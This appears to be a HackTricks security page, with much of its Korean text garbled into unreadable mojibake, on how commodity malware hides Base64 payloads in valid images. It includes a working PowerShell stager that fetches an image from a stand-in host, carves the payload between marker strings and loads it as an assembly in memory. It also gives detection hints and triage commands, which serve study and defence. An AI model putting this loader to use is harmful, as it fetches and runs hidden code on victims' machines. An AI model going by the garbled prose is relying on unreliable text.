Malware & Network Stego
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Not all steganography is pixel LSB; commodity malware often hides payloads inside otherwise valid files.
์ค์ฉ์ ์ธ ํจํด
์ ํจํ ์ด๋ฏธ์ง์์์ Marker-delimited payloads
์ด๋ฏธ์ง๊ฐ ๋ค์ด๋ก๋๋์ด ์คํฌ๋ฆฝํธ์ ์ํด ์ฆ์ text/Base64๋ก ํ์ฑ๋๋ ๊ฒฝ์ฐ, payload๋ ์ข ์ข pixel-hidden ๋ฐฉ์์ด ์๋๋ผ marker-delimited ๋ฐฉ์์ด๋ค.
Commodity loaders๋ ์ ์ ๋ Base64 payloads๋ฅผ ์ ํจํ ์ด๋ฏธ์ง(์ข ์ข GIF/PNG) ๋ด๋ถ์ plain text๋ก ์จ๊ธด๋ค. pixel-level LSB ๋์ , payload๋ ํ์ผ์ text/metadata์ ์ฝ์ ๋ ๊ณ ์ ํ marker strings๋ก ๊ตฌ๋ถ๋๋ค. ๊ทธ ํ stager๋:
- ์ด๋ฏธ์ง๋ฅผ HTTP(S)๋ก ๋ค์ด๋ก๋ํ๋ค
- start/end markers๋ฅผ ์ฐพ๋๋ค
- between-text๋ฅผ ์ถ์ถํ ๋ค Base64-decodes ํ๋ค
- ๋ฉ๋ชจ๋ฆฌ์์ loads/executes ํ๋ค
์ต์ํ์ PowerShell carving snippet:
$img = (New-Object Net.WebClient).DownloadString('https://example.com/p.gif')
$start = '<<sudo_png>>'; $end = '<<sudo_odt>>'
$s = $img.IndexOf($start); $e = $img.IndexOf($end)
if($s -ge 0 -and $e -gt $s){
$b64 = $img.Substring($s + $start.Length, $e - ($s + $start.Length))
$bytes = [Convert]::FromBase64String($b64)
[Reflection.Assembly]::Load($bytes) | Out-Null
}
Notes:
- ATT&CK: T1027.003 (steganography)
- ํ์ง/ํํ :
- ๋ค์ด๋ก๋ํ ์ด๋ฏธ์ง์์ ๊ตฌ๋ถ์ ๋ฌธ์์ด์ ๊ฒ์ํ์ธ์.
- ์ด๋ฏธ์ง๋ฅผ ๊ฐ์ ธ์ค๊ณ ์ฆ์ Base64 ๋์ฝ๋ฉ ๋ฃจํด(PowerShell
FromBase64String, JSatob๋ฑ)์ ํธ์ถํ๋ ์คํฌ๋ฆฝํธ๋ฅผ ํ๋๊ทธํ์ธ์. - HTTP content-type ๋ถ์ผ์น(
image/*์๋ต์ด์ง๋ง ๋ณธ๋ฌธ์ด ๊ธด ASCII/Base64๋ฅผ ํฌํจํ๋ ๊ฒฝ์ฐ)๋ฅผ ์ฐพ์๋ณด์ธ์.
Other high-signal places to hide payloads
These are typically faster to check than content-level pixel stego:
- ๋ฉํ๋ฐ์ดํฐ: EXIF/XMP/IPTC, PNG
tEXt/iTXt/zTXt, JPEGCOM/APPnsegments. - ํํ ๋ฐ์ดํธ: ํ์์์ ์ข
๋ฃ ๋ง์ปค ์ดํ์ ์ถ๊ฐ๋ ๋ฐ์ดํฐ(์: PNG
IEND์ดํ). - ๋ด์ฅ๋ ์์นด์ด๋ธ: ZIP/7z๊ฐ ํ์ผ์ ๋ด์ฅ๋๊ฑฐ๋ ๋ง๋ถ์ฌ์ ธ ๋ก๋์ ์ํด ์ถ์ถ๋จ.
- Polyglots: ์ฌ๋ฌ ํ์์์ ์ ํจํ๋๋ก ์ ์๋ ํ์ผ๋ค(์: image + script + archive).
ํธ๋ฆฌ์์ง ๋ช ๋ น
file sample
exiftool -a -u -g1 sample
strings -n 8 sample | head
binwalk sample
binwalk -e sample
์ฐธ๊ณ ์๋ฃ:
- Unit 42 ์์: https://unit42.paloaltonetworks.com/phantomvai-loader-delivers-infostealers/
- MITRE ATT&CK: https://attack.mitre.org/techniques/T1027/003/
- File format polyglots ๋ฐ container tricks: https://github.com/corkami/docs
- AperiโSolve (์น ๊ธฐ๋ฐ stego triage): https://aperisolve.com/
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


